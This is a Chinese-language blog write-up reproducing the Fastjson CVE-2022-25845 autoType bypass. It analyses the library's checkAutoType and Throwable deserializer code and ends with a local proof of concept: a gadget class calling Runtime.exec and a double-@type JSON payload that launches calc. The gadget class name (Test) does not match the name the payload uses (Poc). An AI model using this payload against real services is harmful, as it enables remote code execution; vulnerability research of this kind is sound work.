CVE-2022-25845复现
Fastjson “Auto Type Bypass” RCE漏洞
Fastjson
是一个Java库,可以将Java对象序列化和反序列化,实现Java对象和JSON的相互转换。
和大多数JSON类一样,Fastjson
支持将基本 JSON 类型(数组和对象)分别序列化和反序列化为它们的 Java 等价对象——Arrays 和 Maps。
然而,Fastjson也可以将用户的Java对象序列化为JSON,或从JSON反序列化为Java对象。
我们知道在 fastjson 1.2.25 后设定了 autoType 只有打开 autoType之后才能使用,fastjson 是基于内置黑名单来实现安全的,如此可能会造成安全风险,就是绕过黑名单。
不开启时,是基于白名单进行防护的,这个漏洞的产生就是未开启 autoType 时产生的。
但是未开启 autoType 时是基于白名单,是很难实现代码执行的,所以我们就需要想办法 Bypass AutoType 默认禁用策略,可以实现调用任意类。
影响范围
所有依赖 Fastjson 版本 1.2.80 或更早版本的程序,在应用程序中如果包含使用用户数据调用 JSON.parse 或 JSON.parseObject 方法,但不指定要反序列化的特定类,都会受此漏洞的影响。
AutoType
当JSON.parseObject()
被调用时,它最终会调用到 DefaultJSONParser.parseObject()
,并且传入参数object
为JSONObject
,fieldName
为 null。当这个方法遇到@type
这个符号(JSON.DEFAULT_TYPE_KEY)时,就会调用config.checkAutoType
,其中声明了各种被黑名单列入的类。
int safeModeMask = Feature.SafeMode.mask;
boolean safeMode = this.safeMode || (features & safeModeMask) != 0 || (JSON.DEFAULT_PARSER_FEATURE & safeModeMask) != 0;
if (safeMode) {
throw new JSONException("safeMode not support autoType : " + typeName);
} else if (typeName.length() < 192 && typeName.length() >= 3) {
boolean expectClassFlag;
if (expectClass == null) {
expectClassFlag = false;
} else {
long expectHash = TypeUtils.fnv1a_64(expectClass.getName());
if (expectHash != -8024746738719829346L && expectHash != 3247277300971823414L && expectHash != -5811778396720452501L && expectHash != -1368967840069965882L && expectHash != 2980334044947851925L && expectHash != 5183404141909004468L && expectHash != 7222019943667248779L && expectHash != -2027296626235911549L && expectHash != -2114196234051346931L && expectHash != -2939497380989775398L) {
expectClassFlag = true;
} else {
expectClassFlag = false;
}
}
fastjson 在1.2.61开始,把黑名单从十进制数变成了十六进制数,你可以在fastjson-blackist仓库中查看被列入Fastjson黑名单的类的hash值。
-8024746738719829346L:java.io.Serializable
3247277300971823414L:java.lang.Cloneable
-5811778396720452501L:java.io.Closeable
-1368967840069965882L:java.lang.AutoCloseable
2980334044947851925L:java.lang.Readable
5183404141909004468L:java.lang.Runnable
7222019943667248779L:java.util.EventListener
-2027296626235911549L:java.lang.Iterable
-2114196234051346931L:java.util.Collection
-2939497380989775398L:java.lang.Object
注意到if (!internalWhite && (this.autoTypeSupport || expectClassFlag))
中有对this.autoTypeSupport
的check,那是否可以利用expectClassFlag
去绕过这个check,我们发现当expectClass
不为null
或者黑名单中的值时,expetClassFlag
为真。
Throwable
我们发现com.alibaba.fastjson.parser.deserializer.ThrowableDeserializer
中的deserialze
中调用了checkAutoType()
。
while(true) {
key = lexer.scanSymbol(parser.getSymbolTable());
if (key == null) {
if (lexer.token() == 13) {
lexer.nextToken(16);
break;
}
if (lexer.token() == 16 && lexer.isEnabled(Feature.AllowArbitraryCommas)) {
continue;
}
}
lexer.nextTokenWithColon(4);
if (JSON.DEFAULT_TYPE_KEY.equals(key)) {
if (lexer.token() != 4) {
throw new JSONException("syntax error");
}
String exClassName = lexer.stringVal();
exClass = parser.getConfig().checkAutoType(exClassName, Throwable.class, lexer.getFeatures());
lexer.nextToken(16);
在exClass = parser.getConfig().checkAutoType(exClassName, Throwable.class, lexer.getFeatures());
这里会执行,并且调用checkAutoType
时有传入Throwable.class
作为expectClass
的值。
在com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.Class<?>, java.lang.reflect.Type)
的public ObjectDeserializer getDeserializer(Class<?> clazz, Type type)
函数中会有检测目标类中是否属于Throwable 的扩展
if (Collection.class.isAssignableFrom(clazz)) {
deserializer = CollectionCodec.instance;
} else if (Map.class.isAssignableFrom(clazz)) {
deserializer = MapDeserializer.instance;
} else if (Throwable.class.isAssignableFrom(clazz)) {
deserializer = new ThrowableDeserializer(this, clazz);
} else if (PropertyProcessable.class.isAssignableFrom(clazz)) {
deserializer = new PropertyProcessableDeserializer(clazz);
} else if (clazz == InetAddress.class) {
deserializer = MiscCodec.instance;
} else {
deserializer = this.createJavaBeanDeserializer(clazz, (Type)type);
}
漏洞的核心在于else if (Throwable.class.isAssignableFrom(clazz)) {deserializer = new ThrowableDeserializer(this, clazz);}
,如果目标类属于Throwable
的扩展类,就可以调用checkAutoType
,实现打开autoType
的操作,去调用任何类。
尝试一下
package com.example.fastjson;
import java.io.IOException;
public class Test extends Error {
public void setName(String str) {
try {
Runtime.getRuntime().exec(str);
} catch (IOException e) {
e.printStackTrace();
}
}
}
CVE-2022-25845利用
package com.example.fastjson;
import com.alibaba.fastjson.JSON;
public class PocDemo {
public static void main(String[] args) {
String json = "{\"@type\":\"java.lang.Exception\",\"@type\":\"com.example.fastjson.Poc\",\"name\":\"calc\"}";
JSON.parse(json);
}
}
https://blog.csdn.net/include_voidmain/article/details/124983839
https://www.jianshu.com/p/d4702da8b93e
https://blog.csdn.net/qq_38154820/article/details/125912678
https://blog.csdn.net/chence19871/article/details/126955148